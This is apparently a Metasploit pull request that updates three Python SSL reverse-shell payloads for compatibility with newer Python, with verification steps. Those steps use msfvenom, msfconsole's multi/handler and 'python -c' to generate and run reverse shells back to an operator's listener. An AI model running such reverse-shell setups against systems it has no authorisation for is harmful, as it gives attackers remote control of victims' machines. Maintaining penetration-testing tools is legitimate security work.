Fix incompatibility with ssl.wrap_socket() in newer python versions in payloads using it

[jeanmtr]

Fixes #21301

Changes python/meterpreter/reverse_tcp_ssl, cmd/unix/reverse_python_ssl and python/shell_reverse_tcp_ssl to use SSLContext.wrap_socket() instead of ssl.wrap_socket(). However since the protocols that can be used in version 3.14 and 2.7.18 are not the same, i cannot use ssl.PROTOCOL_TLS_CLIENT for both. Instead, we check if ssl.PROTOCOL_TLS_CLIENT exists and if not, we use ssl.wrap_socket the old way. There is probably a better solution but i cannot find it. One other thing that could work is to use ssl.PROTOCOL_TLSv1_2 which existe both on 2.7.18 and on 3.14 (and in version in between) but it is marked as deprecated therefore it is not really future proof.

Verification

For cmd/unix/reverse_python_ssl

• Generate ssl key and cert
• Run openssl s_server -accept 4444 -cert server.crt -key server.key -quiet
• Setup python env to test compatibility with different python versions (pyenv local [version])
• Run msfvenom -p cmd/unix/reverse_python_ssl LHOST=[host to test]
• Run the payload
• Verify if the reverse shell is working
• Repeat the process with other python versions

For python/shell_reverse_tcp_ssl

• Generate ssl key and cert
• Run openssl s_server -accept 4444 -cert server.crt -key server.key -quiet
• Setup python env to test compatibility with different python versions (pyenv local [version])
• Run msfvenom -p cmd/unix/reverse_python_ssl LHOST=[host to test]
• Run python -c "[payload]"
• Verify if the reverse shell is working
• Repeat the process with other python versions

For python/meterpreter/reverse_tcp_ssl

(on the host)

• [] Run msfconsole
• [] use exploit/multi/handler
• [] set payload python/meterpreter/reverse_tcp_ssl
• [] set LHOST your_ip
• [] set LPORT 4444
• [] run

(on the attacked machine)

• Setup python env to test compatibility with different python versions (pyenv local [version])
• Run msfvenom -p cmd/unix/reverse_python_ssl LHOST=[host to test]
• Run python -c "[payload]"
• Verify if the reverse shell is working
• Repeat the process with other python versions
